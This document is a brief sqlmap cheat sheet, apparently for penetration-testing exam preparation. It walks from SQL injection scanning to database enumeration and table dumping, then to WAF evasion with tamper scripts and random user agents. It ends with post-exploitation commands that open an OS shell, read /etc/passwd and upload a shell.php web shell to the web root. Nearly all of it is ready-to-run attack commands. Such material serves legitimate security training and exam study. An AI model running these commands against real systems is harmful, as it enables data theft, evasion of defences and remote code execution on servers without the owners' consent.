

SQLMap Cheat Sheet: Exam Edition

From basic enumeration to OS shell escalation.

1. Basic Enumeration & Scanning (The Fundamentals)

- `sqlmap -u 'http://target.com/page?id=1'`

Basic scan: Tests all parameters in the URL for injection.

- `sqlmap -u 'URL' --cookie='session=abc'`

Authenticated scan: Passes your valid session cookie to reach protected pages.

- `sqlmap -u 'URL' --data='user=a&pass=b'`

POST request scan: Tests the parameters in the POST body instead of the URL.

2. Database Extraction (Getting the Flags)

- `sqlmap -u 'URL' --dbs`

Enumerate Databases: Lists all databases accessible by the current DB user.

- `sqlmap -u 'URL' -D dbname --tables`

List Tables: Shows all tables inside a specific database ('dbname').

- `sqlmap -u 'URL' -D dbname -T users --dump`

Dump Table: Extracts all rows and columns from the 'users' table.

3. Advanced Targeting & Optimization (Saving Time)

- `sqlmap -u 'URL' -p id`

Target specific parameter: Forces sqlmap to ONLY test the 'id' parameter, saving massive amounts of time.

- `sqlmap -u 'URL' --technique=U`

Force Technique: Only uses UNION-based payloads (U). Other options: B (Boolean), E (Error), T (Time).

- `sqlmap -u 'URL' --batch`

Batch mode: Never asks for user input; uses the default behavior for all prompts automatically.

4. Evasion, WAF Bypass & Routing

- `sqlmap -u 'URL' --tamper=space2comment`

*WAF Bypass: Replaces spaces with inline comments (/**/) to bypass basic filters.*

- `sqlmap -u 'URL' --level=5 --risk=3`

Aggressive Scan: Level 5 tests headers/cookies. Risk 3 uses heavy payloads (like OR-based updates).

- `sqlmap -u 'URL' --proxy='http://127.0.0.1:8080'`

Burp Suite Routing: Sends all sqlmap traffic through Burp so you can inspect the exact payloads being generated.

- `sqlmap -u 'URL' --random-agent`

Avoid Detection: Replaces the default 'sqlmap/1.x' User-Agent with a random, legitimate browser string.

5. Post-Exploitation & Privilege Escalation

- `sqlmap -u 'URL' --os-shell`

Get an OS Shell: If the DB user has FILE privileges, attempts to upload a web shell and gives you interactive command execution.

- `sqlmap -u 'URL' --file-read='/etc/passwd'`

Read Server Files: Uses SQL functions like LOAD_FILE() to extract sensitive OS files.

- `sqlmap -u 'URL' --file-write='shell.php' --file-dest='/var/www/html/shell.php'`

Upload Files: Writes a local file directly into the server's web root directory.